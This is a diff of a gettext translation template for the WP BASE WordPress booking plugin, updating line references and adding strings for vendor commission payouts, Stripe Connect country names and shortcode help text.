 #: includes/addons/multi-vendor/includes/class.signup.php:554
-#: includes/custom-texts.php:1114
+#: includes/custom-texts.php:1121
 msgid "Activation email could not be sent."
 msgstr ""
 
@@ -4813,9 +4953,66 @@
 msgid "You must select a store for new store client"
 msgstr ""
 
+#: includes/addons/multi-vendor/includes/commissions.php:485
+#, php-format
+msgid "Commission could not be paid. Check %s for details."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:485
+#: includes/addons/multi-vendor/includes/commissions.php:668
+#: includes/constant-data.php:510 includes/constant-data.php:511
+#: includes/constant-data.php:512 includes/constant-data.php:585
+msgid "log file"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:517
+#, php-format
+msgid "Payout for booking #%d"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:549
+#, php-format
+msgid ""
+"Commission of %1$s with ID %2$d could not be paid to vendor #%3$s. Reason: "
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:636
+#, php-format
+msgid "Total %s has been transferred."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:651
+#, php-format
+msgid "%1$s commission paid to vendor %2$s. Notification email sent to %3$s"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:654
+#, php-format
+msgid ""
+"%1$s commission paid to vendor %2$s. However, notification email could not "
+"be sent to %3$s"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:664
+#, php-format
+msgid "%d notification email sent."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:668
+#, php-format
+msgid ""
+"However there was %1$d notification email sending error. Check %2$s for "
+"details."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/commissions.php:671
+#, php-format
+msgid "%d commissions paid. "
+msgstr ""
+
 #: includes/addons/multi-vendor/includes/dashboard.php:82
 #: includes/admin/dashboard.php:59 includes/admin/toolbar.php:126
-#: includes/custom-texts.php:841
+#: includes/custom-texts.php:850
 msgid "Dashboard"
 msgstr ""
 
@@ -4889,73 +5086,20 @@
 msgid "To Pax"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/front-store.php:121
+#: includes/addons/multi-vendor/includes/front-store.php:120
 msgid "You don't have any stores"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/front-store.php:122
+#: includes/addons/multi-vendor/includes/front-store.php:121
 #: includes/admin/toolbar.php:226
 msgid "Store Management"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/front-store.php:270
-msgid ""
-"Creates a store management page to control bookings, clients, services, "
-"providers related to the store. Only store manager can view this page. Store "
-"managers act like admin for their stores."
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:272
-#: includes/constant-data.php:1565
-msgid ""
-"Text that will be displayed to the users who are logged in or you don't "
-"require a login. Default: \"\""
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:273
-#: includes/constant-data.php:1566
-msgid ""
-"Text that will be displayed to the users who are not logged in and you "
-"require a login. LOGIN_PAGE and REGISTRATION_PAGE placeholders will be "
-"replaced with your website's login and registration links respectively. "
-"Default: \"You need to login to make an appointment. Click here to login: "
-"LOGIN_PAGE OR click here to register: REGISTRATION_PAGE\""
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:274
-msgid ""
-"Title tag above the tabs. Enter 0 for no title. Default: Store Management "
-"(No title)"
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:275
-msgid ""
-"Name of the tabs to be excluded. Multiple entries separated with commas can "
-"be set. Allowed values: dashboard, manage, schedules, clients, stores, "
-"store_settings, services, working_hours, holidays, seasonal, payments, "
-"commissions, gcal. Default: empty"
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:276
-#: includes/constant-data.php:1596
-msgid ""
-"Requires Front End Management addon. Status of bookings to be displayed in "
-"Manage Bookings tab. See status attribute of Front End Management "
-"(app_manage) shortcode"
-msgstr ""
-
-#: includes/addons/multi-vendor/includes/front-store.php:277
-#: includes/constant-data.php:1597
-msgid ""
-"Requires both Front End Management and Export/Import addons. Whether add "
-"Export CSV options in Manage Bookings tab. Set 0 to disable."
-msgstr ""
-
 #: includes/addons/multi-vendor/includes/functions.multi-vendor.php:30
 #: includes/addons/sms.php:588 includes/admin/bookings.php:1795
-#: includes/admin/dashboard.php:667 includes/admin/global-settings.php:757
-#: includes/admin/global-settings.php:865 includes/custom-texts.php:1137
-#: includes/custom-texts.php:1218
+#: includes/admin/dashboard.php:667 includes/admin/global-settings.php:891
+#: includes/admin/global-settings.php:999 includes/custom-texts.php:1144
+#: includes/custom-texts.php:1224
 msgid "Pending"
 msgstr ""
 
@@ -4963,28 +5107,24 @@
 msgid "Suspended"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:136
+#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:134
 #, php-format
 msgid "Sending %s email to %s was success"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:139
+#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:137
 #, php-format
 msgid "Sending %s email to %s failed"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:379
+#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:377
 msgid "Unpaid"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:380
+#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:378
 msgid "On hold"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/functions.multi-vendor.php:527
-msgid "No services to list"
-msgstr ""
-
 #: includes/addons/multi-vendor/includes/install.php:25
 msgid "WP BASE Vendor"
 msgstr ""
@@ -5045,7 +5185,7 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/includes/shortcodes.php:68
-#: includes/addons/multi-vendor/includes/shortcodes.php:121
+#: includes/addons/multi-vendor/includes/shortcodes.php:124
 msgid "Not a vendor"
 msgstr ""
 
@@ -5053,13 +5193,22 @@
 msgid "Check \"key\" attribute in app_vendor_meta shortcode"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:137
+#: includes/addons/multi-vendor/includes/shortcodes.php:103
+#: includes/functions.front.php:1281
+msgid "My Services"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:130
+msgid "No services to list"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:152
 msgid ""
 "Displays vendor information on their bio page, posts loop, BP Book Me page "
 "or BP Members Directory."
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:139
+#: includes/addons/multi-vendor/includes/shortcodes.php:154
 msgid ""
 "Vendor information to be displayed. Allowed values: display_name, "
 "first_name, last_name, email, image_html, start_date, page_permalink (url), "
@@ -5067,48 +5216,58 @@
 "Default: \"\""
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:140
+#: includes/addons/multi-vendor/includes/shortcodes.php:155
 msgid ""
 "Parameter for certain variables. For image_html, image size in px. For "
 "page_link it is the link text, e.g \"Book Me\"; if left empty name of the "
 "vendor."
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:142
+#: includes/addons/multi-vendor/includes/shortcodes.php:157
 msgid ""
 "<code>[app_vendor_meta key=\"page_link\" par=\"Book Me\"]</code> creates a "
 "link with text \"Book Me\" to vendor's bio page."
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:147
+#: includes/addons/multi-vendor/includes/shortcodes.php:162
 msgid ""
 "Displays list of services provided by vendor with clickable links on their "
 "bio page, posts loop, BP Book Me page or BP Members Directory."
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:149
+#: includes/addons/multi-vendor/includes/shortcodes.php:164
 msgid ""
-"HTML element for the list. Set \"ul\" for unordered list, \"ol\" for ordered "
-"list, leave empty for comma separated list (no HTML). Default: Comma "
-"separated"
+"HTML element for the list. Set \"grid\" for CSS grid view, \"ul\" for "
+"unordered list, \"ol\" for ordered list, \"none\" for comma separated text "
+"(no HTML). Default: \"grid\""
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:150
-msgid "Optional title. Only for ul and ol elements. Default: empty"
+#: includes/addons/multi-vendor/includes/shortcodes.php:165
+msgid ""
+"Title. Not diplayed for comma separated text. Enter 0 to disable. Default: "
+"\"My Services\""
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:151
+#: includes/addons/multi-vendor/includes/shortcodes.php:166
 msgid "Limit for number of services to display. Default: No limit"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:152
+#: includes/addons/multi-vendor/includes/shortcodes.php:167
 msgid ""
 "\"target\" hyperlink attribute for service page links. Set \"_blank\" to "
 "open the link in a new browser tab. Default: empty (link opened in the same "
 "tab)"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/shortcodes.php:154
+#: includes/addons/multi-vendor/includes/shortcodes.php:168
+msgid ""
+"Only when elm is \"grid\". Number of columns of grid element for desktop "
+"devices (Width > 1024px). For devices with smaller screens, displayed "
+"columns will be automatically reduced based on screen size. Allowed values: "
+"1, 2, 3, 4. Default: 3"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:170
 msgid ""
 "<code>[app_vendor_services elm=\"ul\" title=\"My Services\" limit=\"5\" "
 "target=\"_blank\"]</code> creates an unordered list of services provided by "
@@ -5116,6 +5275,60 @@
 "link opens the post in a new browser tab."
 msgstr ""
 
+#: includes/addons/multi-vendor/includes/shortcodes.php:176
+msgid ""
+"Only when Multi Store mode is selected. Creates a store management page to "
+"control bookings, clients, services, providers related to the store. Only "
+"store manager can view this page. Store managers act like admin for their "
+"stores."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:178
+#: includes/constant-data.php:1585
+msgid ""
+"Text that will be displayed to the users who are logged in or you don't "
+"require a login. Default: \"\""
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:179
+#: includes/constant-data.php:1586
+msgid ""
+"Text that will be displayed to the users who are not logged in and you "
+"require a login. LOGIN_PAGE and REGISTRATION_PAGE placeholders will be "
+"replaced with your website's login and registration links respectively. "
+"Default: \"You need to login to make an appointment. Click here to login: "
+"LOGIN_PAGE OR click here to register: REGISTRATION_PAGE\""
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:180
+msgid ""
+"Title tag above the tabs. Enter 0 for no title. Default: Store Management "
+"(No title)"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:181
+msgid ""
+"Name of the tabs to be excluded. Multiple entries separated with commas can "
+"be set. Allowed values: dashboard, manage, schedules, clients, stores, "
+"services, workers, working_hours, holidays, seasonal, payments, commissions, "
+"gcal, store_settings. Default: empty"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:182
+#: includes/constant-data.php:1616
+msgid ""
+"Requires Front End Management addon. Status of bookings to be displayed in "
+"Manage Bookings tab. See status attribute of Front End Management "
+"(app_manage) shortcode"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/shortcodes.php:183
+#: includes/constant-data.php:1617
+msgid ""
+"Requires both Front End Management and Export/Import addons. Whether add "
+"Export CSV options in Manage Bookings tab. Set 0 to disable."
+msgstr ""
+
 #: includes/addons/multi-vendor/includes/store-settings.php:83
 msgid "All of your stores will be using these settings."
 msgstr ""
@@ -5170,28 +5383,593 @@
 msgstr ""
 
 #: includes/addons/multi-vendor/includes/store-settings.php:165
-#: includes/admin/global-settings.php:498 includes/admin/toolbar.php:129
-#: includes/custom-texts.php:864 includes/notices.php:335
-#: includes/schedules.php:103 includes/schedules.php:1033
+#: includes/admin/global-settings.php:583 includes/admin/toolbar.php:129
+#: includes/custom-texts.php:873 includes/notices.php:335
+#: includes/schedules.php:151 includes/schedules.php:1245
 msgid "Schedules"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/user.php:340
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:287
+#, php-format
+msgid "Could not retrieve platform data: %s"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:349
+#, php-format
+msgid "Could not retrieve country spec: %s"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:419
+msgid "Albania"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:420
+msgid "Algeria"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:421
+msgid "Angola"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:422
+msgid "Antigua and Barbuda"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:423
+msgid "Argentina"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:424
+msgid "Armenia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:425
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:554
+msgid "Australia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:426
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:555
+msgid "Austria"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:427
+msgid "Azerbaijan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:428
+msgid "Bahamas"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:429
+msgid "Bahrain"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:430
+msgid "Bangladesh"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:431
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:556
+msgid "Belgium"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:432
+msgid "Benin"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:433
+msgid "Bhutan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:434
+msgid "Bolivia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:435
+msgid "Bosnia and Herzegovina"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:436
+msgid "Botswana"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:437
+msgid "Brunei"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:438
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:557
+msgid "Bulgaria"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:439
+msgid "Cambodia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:440
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:558
+msgid "Canada"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:441
+msgid "Chile"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:442
+msgid "Colombia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:443
+msgid "Costa Rica"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:444
+msgid "Ivory Coast"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:445
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:559
+msgid "Croatia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:446
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:560
+msgid "Cyprus"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:447
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:561
+msgid "Czech Republic"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:448
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:562
+msgid "Denmark"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:449
+msgid "Dominican Republic"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:450
+msgid "Ecuador"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:451
+msgid "Egypt"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:452
+msgid "El Salvador"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:453
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:563
+msgid "Estonia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:454
+msgid "Ethiopia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:455
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:564
+msgid "Finland"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:456
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:565
+msgid "France"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:457
+msgid "Gabon"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:458
+msgid "Gambia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:459
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:566
+msgid "Germany"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:460
+msgid "Ghana"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:461
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:568
+msgid "Greece"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:462
+msgid "Guatemala"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:463
+msgid "Guyana"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:464
+msgid "Hong Kong"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:465
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:570
+msgid "Hungary"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:466
+msgid "Iceland"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:467
+msgid "India"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:468
+msgid "Indonesia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:469
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:571
+msgid "Ireland"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:470
+msgid "Israel"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:471
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:572
+msgid "Italy"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:472
+msgid "Jamaica"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:473
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:573
+msgid "Japan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:474
+msgid "Jordan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:475
+msgid "Kazakhstan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:476
+msgid "Kenya"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:477
+msgid "Kuwait"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:478
+msgid "Laos"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:479
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:574
+msgid "Latvia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:480
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:575
+msgid "Liechtenstein"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:481
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:576
+msgid "Lithuania"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:482
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:577
+msgid "Luxembourg"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:483
+msgid "Macao"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:484
+msgid "Madagascar"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:485
+msgid "Malaysia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:486
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:578
+msgid "Malta"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:487
+msgid "Mauritius"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:488
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:579
+msgid "Mexico"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:489
+msgid "Moldova"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:490
+msgid "Monaco"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:491
+msgid "Mongolia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:492
+msgid "Morocco"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:493
+msgid "Mozambique"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:494
+msgid "Namibia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:495
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:580
+msgid "Netherlands"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:496
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:581
+msgid "New Zealand"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:497
+msgid "Niger"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:498
+msgid "Nigeria"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:499
+msgid "North Macedonia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:500
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:582
+msgid "Norway"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:501
+msgid "Oman"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:502
+msgid "Pakistan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:503
+msgid "Panama"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:504
+msgid "Paraguay"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:505
+msgid "Peru"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:506
+msgid "Philippines"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:507
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:583
+msgid "Poland"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:508
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:584
+msgid "Portugal"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:509
+msgid "Qatar"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:510
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:585
+msgid "Romania"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:511
+msgid "Rwanda"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:512
+msgid "San Marino"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:513
+msgid "Saudi Arabia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:514
+msgid "Senegal"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:515
+msgid "Serbia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:516
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:586
+msgid "Singapore"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:517
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:587
+msgid "Slovakia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:518
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:588
+msgid "Slovenia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:519
+msgid "South Africa"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:520
+msgid "South Korea"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:521
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:589
+msgid "Spain"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:522
+msgid "Sri Lanka"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:523
+msgid "Saint Lucia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:524
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:590
+msgid "Sweden"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:525
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:591
+msgid "Switzerland"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:526
+msgid "Taiwan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:527
+msgid "Tanzania"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:528
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:592
+msgid "Thailand"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:529
+msgid "Trinidad and Tobago"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:530
+msgid "Tunisia"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:531
+msgid "Turkey"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:532
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:593
+msgid "United Arab Emirates"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:533
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:594
+msgid "United Kingdom"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:534
+msgid "Uruguay"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:535
+msgid "Uzbekistan"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:536
+msgid "Vietnam"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:567
+msgid "Gibraltar"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:569
+msgid "Hong Kong SAR China"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/stripe-connect-client.php:595
+msgid "United States"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:357
 msgid "For display purposes only."
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/user.php:343
-#: includes/addons/multi-vendor/includes/user.php:398
+#: includes/addons/multi-vendor/includes/user.php:360
+#: includes/addons/multi-vendor/includes/user.php:415
 #, php-format
 msgid "Min: %s"
 msgstr ""
 
-#: includes/addons/multi-vendor/includes/user.php:346
-#: includes/addons/multi-vendor/includes/user.php:401
+#: includes/addons/multi-vendor/includes/user.php:363
+#: includes/addons/multi-vendor/includes/user.php:418
 #, php-format
 msgid "Max: %s"
 msgstr ""
 
+#: includes/addons/multi-vendor/includes/user.php:564
+msgid "You are connected with stripe."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:566
+msgid "Disconnect Stripe Account"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:569
+msgid "You are not connected with stripe."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:574
+msgid "Connect with Stripe"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:580
+msgid "Stripe Connect"
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:592
+msgid ""
+"With Stripe Connect your business will be connected to Stripe account of the "
+"website and you will be able to receive payouts via Stripe."
+msgstr ""
+
+#: includes/addons/multi-vendor/includes/user.php:640
+msgid ""
+"Please select your country, as this will be used to configure your Stripe "
+"payment settings."
+msgstr ""
+
 #: includes/addons/multi-vendor/includes/workers-by-store.php:236
 msgid "Select the store provider will be assigned to."
 msgstr ""
@@ -5280,46 +6058,38 @@
 "Jitsi."
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:617
-#: includes/addons/online-meetings/agora/agora.php:666
+#: includes/addons/online-meetings/agora/agora.php:948
+#: includes/addons/online-meetings/agora/agora.php:996
 #: includes/addons/online-meetings/jitsi/jitsi.php:725
 #: includes/addons/online-meetings/jitsi/jitsi.php:778
 msgid "Meeting Room"
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:618
-#: includes/addons/online-meetings/agora/agora.php:680
+#: includes/addons/online-meetings/agora/agora.php:949
